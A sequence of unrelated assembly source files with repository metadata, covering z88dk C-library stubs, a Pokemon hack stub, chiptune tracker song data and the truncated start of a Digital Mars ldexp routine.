libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/fabs.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/fabs.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_fp_math48 PUBLIC _fabs EXTERN cm48_sdccix_fabs defc _fabs = cm48_sdccix_fabs
11.2
29
0.848214
b2765e2f62a8c1d0d488c82a2cdeddb0b78a35fc
15
asm
Assembly
engine/events/card_key.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
engine/events/card_key.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
engine/events/card_key.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
2
2021-08-11T19:47:07.000Z
2022-01-01T07:07:56.000Z
_CardKey: ret
5
9
0.733333
9593a8b1a21fa1e1dba083947feec2148dbb6675
22,367
asm
Assembly
Framework/trackmo/framework/song_Y.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
Framework/trackmo/framework/song_Y.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
Framework/trackmo/framework/song_Y.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
kp_song kp_reloc dc.w kp_song_registers dc.w kp_speed dc.w kp_grooveboxpos dc.w kp_grooveboxlen dc.w kp_groovebox dc.w kp_patternlen dc.w kp_patternmap_lo dc.w kp_patternmap_hi dc.w kp_insmap_lo dc.w kp_insmap_hi dc.w kp_volmap_lo dc.w kp_volmap_hi dc.w kp_sequence kp_song_registers kp_speed dc.b $02 kp_grooveboxpos dc.b $00 kp_grooveboxlen dc.b $04 kp_groovebox dc.b $04 dc.b $05 dc.b $07 dc.b $04 dc.b $05 dc.b $04 dc.b $06 dc.b $05 kp_patternlen dc.b $1F kp_patternmap_lo dc.b #<patnil dc.b #<pat1 dc.b #<pat2 dc.b #<pat3 dc.b #<pat4 dc.b #<pat5 dc.b #<pat6 dc.b #<pat7 dc.b #<pat8 dc.b #<pat9 dc.b #<pat10 dc.b #<pat11 dc.b #<pat12 dc.b #<pat13 dc.b #<pat14 dc.b #<pat15 dc.b #<pat16 dc.b #<pat17 dc.b #<pat18 dc.b #<pat19 dc.b #<pat20 dc.b #<pat21 dc.b #<pat22 kp_patternmap_hi dc.b #>patnil dc.b #>pat1 dc.b #>pat2 dc.b #>pat3 dc.b #>pat4 dc.b #>pat5 dc.b #>pat6 dc.b #>pat7 dc.b #>pat8 dc.b #>pat9 dc.b #>pat10 dc.b #>pat11 dc.b #>pat12 dc.b #>pat13 dc.b #>pat14 dc.b #>pat15 dc.b #>pat16 dc.b #>pat17 dc.b #>pat18 dc.b #>pat19 dc.b #>pat20 dc.b #>pat21 dc.b #>pat22 patnil kp_setinstrument 8,0 kp_settrackregister 0,16 kp_rewind $00 pat1 pat1loop kp_settrackregister $01,$9C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_setinstrument $02,$01 kp_settrackregister $01,$AC kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $01,$AC kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_rewind [pat1loop-pat1] pat2 pat2loop kp_settrackregister $01,$98 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$98 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$AC kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $01,$AC kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $01,$98 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$98 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_setinstrument $02,$01 kp_rewind [pat2loop-pat2] pat3 pat3loop kp_settrackregister $01,$98 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_settrackregister $01,$98 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$AC kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$AC kp_setinstrument $02,$01 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$AC kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$98 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $01,$98 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_rewind [pat3loop-pat3] pat4 pat4loop kp_settrackregister $03,$0F kp_settrackregister $00,$0C kp_settrackregister $01,$00 kp_setinstrument $0C,$02 kp_setinstrument $08,$02 kp_rewind [pat4loop-pat4] pat5 pat5loop kp_settrackregister $00,$0C kp_settrackregister $01,$0C kp_settrackregister $03,$0F kp_setinstrument $0C,$02 kp_setinstrument $08,$02 kp_rewind [pat5loop-pat5] pat6 pat6loop kp_settrackregister $00,$0C kp_settrackregister $01,$1C kp_setinstrument $0C,$02 kp_settrackregister $01,$28 kp_setinstrument $08,$02 kp_rewind [pat6loop-pat6] pat7 pat7loop kp_settrackregister $03,$08 kp_setinstrument $04,$03 kp_setinstrument $04,$03 kp_settrackregister $03,$0A kp_setinstrument $02,$03 kp_setinstrument $02,$03 kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_setinstrument $02,$03 kp_setinstrument $02,$03 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $03,$0C kp_setinstrument $02,$03 kp_settrackregister $03,$0F kp_setinstrument $02,$06 kp_setinstrument $02,$06 kp_setinstrument $02,$06 kp_setinstrument $02,$05 kp_settrackregister $03,$0A kp_setinstrument $02,$06 kp_rewind [pat7loop-pat7] pat8 pat8loop kp_settrackregister $03,$0F kp_setinstrument $04,$07 kp_setinstrument $04,$06 kp_setinstrument $04,$03 kp_setinstrument $06,$05 kp_setinstrument $02,$05 kp_setinstrument $04,$07 kp_setinstrument $06,$05 kp_setinstrument $02,$05 kp_rewind [pat8loop-pat8] pat9 pat9loop kp_settrackregister $03,$0F kp_setinstrument $02,$07 kp_settrackregister $03,$0A kp_setinstrument $02,$03 kp_settrackregister $03,$0F kp_setinstrument $02,$07 kp_setinstrument $04,$03 kp_setinstrument $02,$03 kp_setinstrument $02,$05 kp_settrackregister $03,$0A kp_setinstrument $04,$03 kp_settrackregister $03,$0C kp_setinstrument $02,$03 kp_settrackregister $03,$0F kp_setinstrument $04,$07 kp_setinstrument $02,$05 kp_setinstrument $02,$07 kp_setinstrument $04,$04 kp_rewind [pat9loop-pat9] pat10 pat10loop kp_setinstrument $04,$07 kp_setinstrument $02,$07 kp_setinstrument $02,$03 kp_setinstrument $04,$05 kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_settrackregister $03,$0F kp_setinstrument $02,$07 kp_setinstrument $02,$03 kp_setinstrument $02,$05 kp_settrackregister $03,$0C kp_setinstrument $02,$03 kp_settrackregister $03,$0F kp_setinstrument $02,$07 kp_setinstrument $02,$06 kp_setinstrument $02,$05 kp_setinstrument $02,$07 kp_setinstrument $02,$06 kp_rewind [pat10loop-pat10] pat11 pat11loop kp_settrackregister $01,$00 kp_settrackregister $03,$0F kp_setinstrument $02,$07 kp_settrackregister $03,$0A kp_setinstrument $02,$06 kp_settrackregister $03,$0F kp_setinstrument $04,$07 kp_setinstrument $02,$05 kp_settrackregister $03,$0A kp_setinstrument $02,$06 kp_settrackregister $03,$0F kp_setinstrument $02,$06 kp_setinstrument $02,$07 kp_settrackregister $03,$0A kp_setinstrument $04,$06 kp_settrackregister $03,$0F kp_setinstrument $02,$06 kp_settrackregister $03,$0A kp_setinstrument $02,$06 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $03,$0A kp_setinstrument $02,$06 kp_setinstrument $02,$06 kp_settrackregister $03,$0B kp_setinstrument $02,$07 kp_rewind [pat11loop-pat11] pat12 pat12loop kp_settrackregister $03,$0F kp_setinstrument $02,$07 kp_setinstrument $02,$06 kp_setinstrument $04,$07 kp_setinstrument $02,$05 kp_settrackregister $03,$0C kp_setinstrument $02,$06 kp_settrackregister $03,$0F kp_setinstrument $02,$06 kp_setinstrument $04,$07 kp_setinstrument $02,$07 kp_setinstrument $02,$06 kp_setinstrument $02,$07 kp_settrackregister $03,$0C kp_setinstrument $02,$06 kp_settrackregister $03,$0F kp_setinstrument $02,$06 kp_setinstrument $02,$05 kp_settrackregister $03,$0B kp_setinstrument $02,$07 kp_rewind [pat12loop-pat12] pat13 pat13loop kp_settrackregister $01,$6C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$60 kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$60 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_setinstrument $02,$01 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$58 kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$58 kp_setinstrument $02,$01 kp_settrackregister $01,$60 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$4C kp_setinstrument $02,$01 kp_settrackregister $01,$60 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$4C kp_setinstrument $02,$01 kp_rewind [pat13loop-pat13] pat14 pat14loop kp_settrackregister $01,$00 kp_settrackregister $03,$0F kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$03 kp_settrackregister $01,$30 kp_settrackregister $03,$0F kp_setinstrument $02,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$06 kp_settrackregister $01,$00 kp_settrackregister $03,$0F kp_setinstrument $0C,$02 kp_setinstrument $02,$02 kp_settrackregister $01,$30 kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$01 kp_settrackregister $01,$00 kp_settrackregister $03,$0F kp_setinstrument $04,$02 kp_rewind [pat14loop-pat14] pat15 pat15loop kp_settrackregister $01,$68 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$58 kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$58 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$58 kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$58 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$60 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$60 kp_setinstrument $02,$01 kp_rewind [pat15loop-pat15] pat16 pat16loop kp_settrackregister $01,$00 kp_settrackregister $03,$0F kp_setinstrument $04,$02 kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$01 kp_settrackregister $01,$30 kp_settrackregister $03,$0F kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$05 kp_settrackregister $01,$00 kp_settrackregister $03,$0F kp_setinstrument $0C,$02 kp_setinstrument $02,$02 kp_settrackregister $01,$30 kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$01 kp_settrackregister $01,$00 kp_settrackregister $03,$0F kp_setinstrument $04,$02 kp_rewind [pat16loop-pat16] pat17 pat17loop kp_settrackregister $00,$02 kp_settrackregister $01,$3C kp_settrackregister $03,$0F kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$03 kp_settrackregister $01,$0C kp_settrackregister $03,$0F kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$01 kp_settrackregister $03,$0F kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$03 kp_settrackregister $03,$0F kp_setinstrument $06,$02 kp_setinstrument $02,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$04 kp_settrackregister $03,$0F kp_setinstrument $02,$02 kp_settrackregister $01,$3C kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$01 kp_settrackregister $01,$0C kp_settrackregister $03,$0F kp_setinstrument $04,$02 kp_rewind [pat17loop-pat17] pat18 pat18loop kp_settrackregister $01,$68 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$4C kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$4C kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$58 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$58 kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_setinstrument $02,$01 kp_rewind [pat18loop-pat18] pat19 pat19loop kp_settrackregister $00,$04 kp_settrackregister $01,$1C kp_settrackregister $03,$0F kp_setinstrument $02,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$02 kp_settrackregister $03,$0F kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$03 kp_settrackregister $03,$0F kp_setinstrument $08,$02 kp_settrackregister $01,$3C kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$01 kp_settrackregister $01,$20 kp_settrackregister $03,$0F kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$01 kp_settrackregister $01,$28 kp_settrackregister $03,$0F kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$01 kp_settrackregister $01,$58 kp_settrackregister $03,$0F kp_setinstrument $01,$02 kp_settrackregister $03,$00 kp_settrackregister $00,$01 kp_settrackregister $01,$28 kp_settrackregister $03,$0F kp_setinstrument $04,$02 kp_rewind [pat19loop-pat19] pat20 pat20loop kp_settrackregister $01,$6C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$60 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_settrackregister $01,$60 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_rewind [pat20loop-pat20] pat21 pat21loop kp_settrackregister $01,$68 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$88 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$90 kp_setinstrument $02,$01 kp_rewind [pat21loop-pat21] pat22 pat22loop kp_settrackregister $01,$68 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$AC kp_setinstrument $02,$01 kp_settrackregister $01,$6C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$AC kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$B8 kp_setinstrument $02,$01 kp_settrackregister $01,$7C kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$B8 kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$0F kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_settrackregister $01,$68 kp_settrackregister $03,$09 kp_setinstrument $02,$01 kp_settrackregister $01,$9C kp_setinstrument $02,$01 kp_rewind [pat22loop-pat22] kp_insmap_lo dc.b #<insnil dc.b #<ins1 dc.b #<ins2 dc.b #<ins3 dc.b #<ins4 dc.b #<ins5 dc.b #<ins6 dc.b #<ins7 kp_insmap_hi dc.b #>insnil dc.b #>ins1 dc.b #>ins2 dc.b #>ins3 dc.b #>ins4 dc.b #>ins5 dc.b #>ins6 dc.b #>ins7 kp_volmap_lo dc.b #<volnil dc.b #<vol1 dc.b #<vol2 dc.b #<vol3 dc.b #<vol4 dc.b #<vol5 dc.b #<vol6 dc.b #<vol7 kp_volmap_hi dc.b #>volnil dc.b #>vol1 dc.b #>vol2 dc.b #>vol3 dc.b #>vol4 dc.b #>vol5 dc.b #>vol6 dc.b #>vol7 insnil KP_OSCV 0,0,0,0,15 KP_OSCJ 0 volnil KP_VOLV 0,15 KP_VOLJ 0 ins1 KP_OSCV $90,0,1,0,$00 ins1loop KP_OSCV $01,0,1,1,$00 KP_OSCV $00,0,1,1,$02 KP_OSCJ [ins1loop-ins1] vol1 KP_VOLV $0A,$00 KP_VOLV $0E,$00 KP_VOLV $0A,$00 KP_VOLV $07,$00 KP_VOLV $04,$00 KP_VOLV $03,$00 vol1loop KP_VOLV $02,$00 KP_VOLJ [vol1loop-vol1] ins2 ins2loop KP_OSCV $00,0,1,1,$01 KP_OSCV $01,0,1,1,$01 KP_OSCV $02,0,1,1,$01 KP_OSCV $01,0,1,1,$01 KP_OSCV $00,0,1,1,$01 KP_OSCJ [ins2loop-ins2] vol2 KP_VOLV $07,$05 KP_VOLV $08,$04 KP_VOLV $07,$01 KP_VOLV $06,$09 KP_VOLV $05,$0F KP_VOLV $05,$02 KP_VOLV $04,$09 KP_VOLV $03,$08 KP_VOLV $02,$08 KP_VOLV $01,$04 vol2loop KP_VOLV $00,$00 KP_VOLJ [vol2loop-vol2] ins3 KP_OSCV $FC,1,0,0,$00 KP_OSCV $3C,0,1,0,$00 KP_OSCV $FA,1,0,0,$00 KP_OSCV $FC,1,0,0,$00 KP_OSCV $FD,1,0,0,$00 KP_OSCV $F8,1,0,0,$00 ins3loop KP_OSCV $FA,1,0,0,$00 KP_OSCJ [ins3loop-ins3] vol3 KP_VOLV $0E,$00 KP_VOLV $0C,$00 KP_VOLV $0A,$00 KP_VOLV $06,$00 KP_VOLV $04,$00 vol3loop KP_VOLV $01,$03 KP_VOLJ [vol3loop-vol3] ins4 KP_OSCV $F2,1,0,0,$00 KP_OSCV $38,0,1,0,$00 KP_OSCV $F1,1,0,0,$00 KP_OSCV $F2,1,0,0,$00 KP_OSCV $F4,1,0,0,$00 ins4loop KP_OSCV $FC,1,0,0,$01 KP_OSCJ [ins4loop-ins4] vol4 vol4loop KP_VOLV $0E,$01 KP_VOLV $04,$00 KP_VOLV $02,$00 KP_VOLV $01,$01 KP_VOLV $00,$02 KP_VOLV $0E,$00 KP_VOLV $04,$00 KP_VOLV $02,$00 KP_VOLV $01,$01 KP_VOLV $00,$01 KP_VOLJ [vol4loop-vol4] ins5 KP_OSCV $F4,1,0,0,$00 KP_OSCV $60,0,1,0,$00 KP_OSCV $EF,1,0,0,$00 KP_OSCV $F2,1,0,0,$00 KP_OSCV $FC,1,0,0,$00 KP_OSCV $FA,1,0,0,$00 KP_OSCV $F8,1,0,0,$00 ins5loop KP_OSCV $FA,1,0,0,$00 KP_OSCJ [ins5loop-ins5] vol5 KP_VOLV $0F,$00 KP_VOLV $0E,$02 KP_VOLV $08,$00 KP_VOLV $06,$00 KP_VOLV $04,$00 KP_VOLV $02,$00 vol5loop KP_VOLV $01,$00 KP_VOLJ [vol5loop-vol5] ins6 KP_OSCV $F9,1,0,0,$00 ins6loop KP_OSCV $E2,1,0,0,$00 KP_OSCJ [ins6loop-ins6] vol6 KP_VOLV $0C,$00 KP_VOLV $04,$00 vol6loop KP_VOLV $00,$00 KP_VOLJ [vol6loop-vol6] ins7 KP_OSCV $18,0,1,0,$00 KP_OSCV $0E,0,1,0,$00 KP_OSCV $0A,0,1,0,$00 KP_OSCV $05,0,1,0,$00 ins7loop KP_OSCV $00,0,1,0,$00 KP_OSCV $00,1,0,0,$00 KP_OSCJ [ins7loop-ins7] vol7 KP_VOLV $0C,$00 KP_VOLV $0A,$00 KP_VOLV $09,$00 KP_VOLV $08,$00 KP_VOLV $07,$00 KP_VOLV $06,$00 KP_VOLV $05,$00 KP_VOLV $04,$00 KP_VOLV $03,$00 vol7loop KP_VOLV $00,$00 KP_VOLJ [vol7loop-vol7] kp_sequence dc.b $00,$01,$00,$00 dc.b $00,$02,$00,$00 dc.b $00,$01,$00,$00 dc.b $00,$03,$00,$00 dc.b $00,$01,$04,$00 dc.b $00,$02,$04,$00 dc.b $00,$01,$05,$00 dc.b $00,$03,$06,$00 dc.b $00,$01,$04,$00 dc.b $00,$02,$04,$00 dc.b $00,$01,$05,$00 dc.b $00,$03,$06,$00 dc.b $00,$01,$04,$00 dc.b $00,$02,$04,$00 dc.b $00,$01,$05,$00 dc.b $00,$03,$06,$00 dc.b $00,$01,$04,$00 dc.b $00,$02,$04,$00 dc.b $00,$01,$05,$00 dc.b $00,$03,$06,$00 dc.b $00,$01,$04,$00 dc.b $00,$02,$04,$00 dc.b $00,$01,$05,$00 dc.b $00,$03,$06,$00 dc.b $00,$0D,$0E,$00 dc.b $00,$0F,$10,$00 dc.b $00,$0D,$11,$00 dc.b $00,$12,$13,$00 dc.b $00,$14,$0E,$00 dc.b $00,$15,$10,$00 dc.b $00,$14,$11,$00 dc.b $00,$16,$13,$00 dc.b $00,$14,$0E,$00 dc.b $00,$15,$10,$00 dc.b $00,$14,$11,$00 dc.b $00,$16,$13,$00 dc.b $00,$14,$0E,$00 dc.b $00,$15,$10,$00 dc.b $00,$14,$11,$00 dc.b $00,$16,$13,$00 dc.b $00,$0D,$00,$00 dc.b $00,$0F,$00,$00 dc.b $00,$0D,$00,$00 dc.b $00,$12,$00,$00 dc.b $ff dc.w $0010
22.823469
28
0.748871
ce76d0badcd8bb8fddac3ce888a33983dbf1f30a
288
asm
Assembly
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; b_array_t *b_array_init(void *p, void *data, size_t capacity) SECTION code_clib SECTION code_adt_b_array PUBLIC _b_array_init EXTERN asm_b_array_init _b_array_init: pop af pop hl pop de pop bc push bc push de push hl push af jp asm_b_array_init
12
63
0.704861
b790302154f04d110e40c0403f9766476d2eb0c4
2,771
asm
Assembly
src/CORE32/ldexp.asm
masscry/dmc
c7638f7c524a65bc2af0876c76621d8a11da42bb
[ "BSL-1.0" ]
86
2018-05-24T12:03:44.000Z
2022-03-13T03:01:25.000Z
src/CORE32/ldexp.asm
masscry/dmc
c7638f7c524a65bc2af0876c76621d8a11da42bb
[ "BSL-1.0" ]
1
2019-05-30T01:38:40.000Z
2019-10-26T07:15:01.000Z
src/CORE32/ldexp.asm
masscry/dmc
c7638f7c524a65bc2af0876c76621d8a11da42bb
[ "BSL-1.0" ]
14
2018-07-16T08:29:12.000Z
2021-08-23T06:21:30.000Z
;_ ldexp.asm Modified by: Phil Hinger */ ; Written by Walter Bright ; Copyright (C) 1984-1991 by Walter Bright ; All rights reserved include macros.asm include flthead.asm .287 if _FLAT begcode double else ifdef _MT extrn __FEEXCEPT:near endif begdata extrn __8087:word ifndef _MT extrn __fe_cur_env:word endif enddata begcode double extrn dunnorm:near, dround:near, dget_dtype:near, exception:near endif ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; double ldexp(value,exp) ; double value; ; int exp; ; Returns: ; value*(2**exp) c_public ldexp func ldexp if _RETST0 fild dword ptr PS+8[ESP] ;load exp fld qword ptr PS[ESP] ;load value fscale ;ST(0) = ST(0) * (2**ST(1)) fstp ST(1) _ret 8+4 else push EBP mov EBP,ESP _ifs __8087 e 0, Ld2 ;if 8087 not installed fild dword ptr P+8[EBP] ;load exp fld qword ptr P[EBP] ;load value fscale ;ST(0) = ST(0) * (2**ST(1)) fstp qword ptr P[EBP] fstp ST ;leave stack as we found it 